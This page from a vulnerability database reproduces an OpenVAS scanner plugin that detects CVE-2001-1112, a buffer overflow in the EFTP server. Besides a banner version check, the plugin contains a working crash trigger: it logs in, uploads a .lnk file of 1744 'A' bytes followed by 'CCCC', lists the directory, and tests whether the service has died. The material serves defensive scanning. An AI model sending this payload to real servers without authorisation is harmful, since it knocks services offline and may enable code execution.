Lucene search
+L

EFTP < 2.0.8.x Buffer Overflow Vulnerability

🗓️ 03 Nov 2005 00:00:00Reported by Copyright (C) 2001 Michel ArboiType 
openvas
 openvas
🔗 plugins.openvas.org👁 22 Views

EFTP buffer overflow, crash possible by uploading *.lnk file with excessive data, impact: service crash or arbitrary code executio

Related
Refs
Code
ReporterTitlePublishedViews
Family
Tenable Nessus
EFTP .lnk File Upload Overflow DoS
20 Aug 200400:00
nessus
Tenable Nessus
EFTP .lnk File Handling Remote Overflow
29 Mar 200200:00
nessus
CVE
CVE-2001-1112
15 Mar 200205:00
cve
Cvelist
CVE-2001-1112
15 Mar 200205:00
cvelist
EUVD
EUVD-2001-1093
7 Oct 202500:30
euvd
NVD
CVE-2001-1112
12 Sep 200104:00
nvd
OpenVAS
EFTP buffer overflow
3 Nov 200500:00
openvas
SourceLink
securityfocuswww.securityfocus.com/bid/3330
# SPDX-FileCopyrightText: 2001 Michel Arboi
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.10928");
  script_version("2026-03-18T05:59:10+0000");
  script_tag(name:"last_modification", value:"2026-03-18 05:59:10 +0000 (Wed, 18 Mar 2026)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/3330");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_cve_id("CVE-2001-1112");
  script_name("EFTP < 2.0.8.x Buffer Overflow Vulnerability");
  script_category(ACT_MIXED_ATTACK);
  script_tag(name:"qod_type", value:"remote_analysis");
  script_copyright("Copyright (C) 2001 Michel Arboi");
  script_family("Gain a shell remotely");
  script_dependencies("ftpserver_detect_type_nd_version.nasl", "logins.nasl");
  script_require_ports("Services/ftp", 21);
  script_mandatory_keys("ftp/eftp/detected");

  script_tag(name:"solution", value:"Upgrade EFTP to 2.0.8.x.");

  script_tag(name:"summary", value:"It was possible to crash the EFTP service by
  uploading a *.lnk file containing too much data.");

  script_tag(name:"impact", value:"A cracker may use this attack to make this
  service crash continuously, or run arbitrary code on your system.");

  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("ftp_func.inc");
include("misc_func.inc");
include("port_service_func.inc");

port = ftp_get_port(default:21);
banner = ftp_get_banner(port:port);
if (!banner || "EFTP " >!< banner)
  exit(0);

writeable_dir = get_kb_item("ftp/writeable_dir");
use_banner = 1;

kb_creds = ftp_get_kb_creds();
user_login = kb_creds["login"];
user_passwd = kb_creds["pass"];
if (user_login && user_passwd && writeable_dir) {
  use_banner = safe_checks();
}

if (use_banner) {
  if(egrep(pattern:".*EFTP Version 2\.0\.[0-7]\.*", string:banner)) {
    security_message(port:port);
  }
  exit(0);
}

if (!soc = open_sock_tcp(port))
  exit(0);

r = ftp_authenticate(socket:soc, user:user_login, pass:user_passwd);
if (!r) {
  ftp_close(socket: soc);
  exit(0);
}

# Go to writable dir
cmd = string("CWD ", writeable_dir, "\r\n");
send(socket:soc, data:cmd);
a = recv_line(socket:soc, length:1024);

vt_strings = get_vt_strings();

f_name = string(vt_strings["default"], rand()%10, rand()%10, rand()%10, rand()%10, ".lnk");

# Upload a buggy .LNK
port2 = ftp_pasv(socket:soc);
soc2 = open_sock_tcp(port2, transport:get_port_transport(port));
cmd = string("STOR ", f_name, "\r\n");
send(socket:soc, data:cmd);
r = recv_line(socket:soc, length:1024); # Read the 3 digits ?
if(ereg(pattern:"^5[0-9][0-9] .*", string:r)) {
  exit(0);
}

d = string(crap(length:1744, data: "A"), "CCCC");
send(socket:soc2, data:d);
close(soc2);

# Now run DIR
cmd = string("LIST\r\n");
send(socket:soc, data:cmd);
r = recv_line(socket: soc, length: 1024);
ftp_close(socket: soc);

# Now check if it is still alive
soc = open_sock_tcp(port);
if (! soc) {
  security_message(port:port);
  exit(0);
}

# Or clean mess :)

if(soc) {
  ftp_authenticate(socket:soc, user:user_login, pass:user_passwd);
  cmd = string("CWD ", writeable_dir, "\r\n");
  send(socket:soc, data:cmd);
  r = recv_line(socket:soc, length:1024);
  cmd = string ("DELE ", f_name, "\r\n");
  send(socket:soc, data:cmd);
  r = recv_line(socket:soc, length:1024);
  ftp_close(socket: soc);
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Mar 2026 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.10615
22